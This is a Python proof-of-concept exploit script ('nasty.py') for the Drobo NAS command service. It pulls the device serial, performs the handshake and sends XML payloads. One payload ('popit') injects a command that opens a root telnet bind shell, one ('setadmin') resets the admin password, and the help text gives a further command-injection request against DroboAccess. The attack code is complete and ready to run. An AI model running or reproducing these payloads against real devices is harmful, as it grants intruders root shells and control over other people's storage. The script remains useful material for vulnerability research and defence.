import argparse
import logging
import re
import socket
import struct
import sys
LOG_FORMAT = '[%(levelname)s]: %(message)s'
BUFFER_SIZE = 1024
HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00'
PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00'
PREAMBLE_LEN = 16
PAYLOADS = {
"daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"getnet":'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>',
"gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"popit" :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"test":'<TMCmd><CmdID>82</CmdID><Params><Time>1521161215</Time><GMTOffset>4294966876</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>',
"stdin" :'Handled elsewhere.'}
DEFAULT_PORT_STAT = 5000
DEFAULT_PORT_CMD = 5001
DEFAULT_TIMEOUT = None
HELP_EPILOG='''
PAYLOADS
daccess- Installs DroboAccess on the target device. At the time of writing,
DroboAccess has numerous unauthenticated command injection
vulnerabilities. Try the following:
GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383
- A long delay and response of "<Error>0</Error>" is expected.
dropbear - Installs dropbear on the target device.
- A response of "<Error>0</Error>" is expected.
getadmin - Returns the target's current (redacted) admin configuration.
gettemp- Returns the target's system info (temperature and uptime).
getnet - Returns the target's network info.
partyon- Enables "party mode" on the target. This will cause the target
device's lights to blink for 15 minutes.
partyoff - Prematurely disables "party mode".
popit- Exploits CVE-2019-6801 to spawn a root bind shell on port 8383.
- A response of "<Error>1</Error>" is expected.
restart- Restarts the target device.
setadmin - Sets administrative options on the target.
- Username: admin
- Password: ono
- Apps enabled: yes
stdin- Reads data from STDIN and sends it as a command.
'''
def recv_message(s):
preamble = s.recv(PREAMBLE_LEN)
msg_len = struct.unpack(">I", preamble[-4:])[0]
message = ''
if msg_len <= 0:
return(message)
while True:
message += s.recv(BUFFER_SIZE).decode('utf-8')
if len(message) >= msg_len:
return(message)
def send_handshake(s, serial):
serial_bytes = serial.encode('utf-8')
hs_body= struct.pack("16s", serial_bytes)
hs_body += struct.pack(">I", 0)
hs_body += struct.pack("16s", serial_bytes)
hs_body += struct.pack("184x")
size_bytes = struct.pack(">I", len(hs_body))
hs_data = HANDSHAKE_PREAMBLE + size_bytes + hs_body
logging.debug(repr(hs_data))
s.send(hs_data)
def send_message(s, serial, message):
msg_body = message.format(serial=serial)
msg_body_bytes = msg_body.encode('utf-8')
msg_body_bytes += struct.pack("x")
size_bytes = struct.pack(">I", len(msg_body_bytes))
msg_data = PREAMBLE + size_bytes + msg_body_bytes
logging.debug(repr(msg_data))
s.send(msg_data)
aparser = argparse.ArgumentParser(
description='nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.',
epilog=HELP_EPILOG,
formatter_class=argparse.RawDescriptionHelpFormatter)
aparser.add_argument("host", help='Host or IP address of the target Drobo.')
aparser.add_argument("payload", help='Payload to use. See PAYLOADS.')
aparser.add_argument("-p", "--portstat", help='Specify a non-default stat port on the Drobo.', default=DEFAULT_PORT_STAT, type=int)
aparser.add_argument("-P", "--portcmd", help='Specify a non-default command port on the Drobo.', default=DEFAULT_PORT_CMD, type=int)
aparser.add_argument("-s", "--serial", help='Manually set the target serial number. Skips serial number detection.')
aparser.add_argument("-t", "--timeout", help='Set a timeout in seconds for socket operations.', default=DEFAULT_TIMEOUT, type=float)
aparser.add_argument("-v", "--verbose", help='Increase verbosity.', action='store_true')
args = aparser.parse_args()
if sys.stdout.isatty() and sys.platform in ["linux","linux2","darwin"]:
logging.addLevelName(logging.NOTSET, "\033[39m????\033[0m")
logging.addLevelName(logging.DEBUG,"\033[37mDBUG\033[0m")
logging.addLevelName(logging.INFO, "\033[96mINFO\033[0m")
logging.addLevelName(logging.WARNING,"\033[93mWARN\033[0m")
logging.addLevelName(logging.ERROR,"\033[95mERRR\033[0m")
logging.addLevelName(logging.CRITICAL, "\033[91mCRIT\033[0m")
else:
logging.addLevelName(logging.NOTSET, "????")
logging.addLevelName(logging.DEBUG,"DBUG")
logging.addLevelName(logging.INFO, "INFO")
logging.addLevelName(logging.WARNING,"WARN")
logging.addLevelName(logging.ERROR,"ERRR")
logging.addLevelName(logging.CRITICAL, "CRIT")
if args.verbose:
logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG)
else:
logging.basicConfig(format=LOG_FORMAT, level=logging.INFO)
if args.payload == 'stdin':
logging.info("Reading payload from STDIN.")
payload_xml = sys.stdin.read()
logging.debug(payload_xml)
else:
payload_xml = PAYLOADS[args.payload]
logging.info("Connecting...")
sock_stat = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_stat.settimeout(args.timeout)
sock_stat.connect((args.host, args.portstat))
sock_cmd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_cmd.settimeout(args.timeout)
sock_cmd.connect((args.host, args.portcmd))
logging.info("Pulling serial number...")
stat_msg = sock_stat.recv(BUFFER_SIZE)
if args.serial:
serial = args.serial
else:
m = re.search('<mSerial>([^<]+)</mSerial>', stat_msg.decode('utf-8'))
if not m:
logging.critical("Could not determine target's serial number!")
logging.debug(stat_msg)
sys.exit(100)
serial = m.group(1)
logging.info("Identified serial: " + serial)
logging.info('Performing handshake...')
send_handshake(sock_cmd, serial)
recv_message(sock_cmd)
logging.info("Sending payload...")
send_message(sock_cmd, serial, payload_xml)
logging.info("Waiting for response...")
resp = recv_message(sock_cmd)
logging.info("Response:\n" + resp)
sock_cmd.close()
sock_stat.close()
logging.info("Donezo.")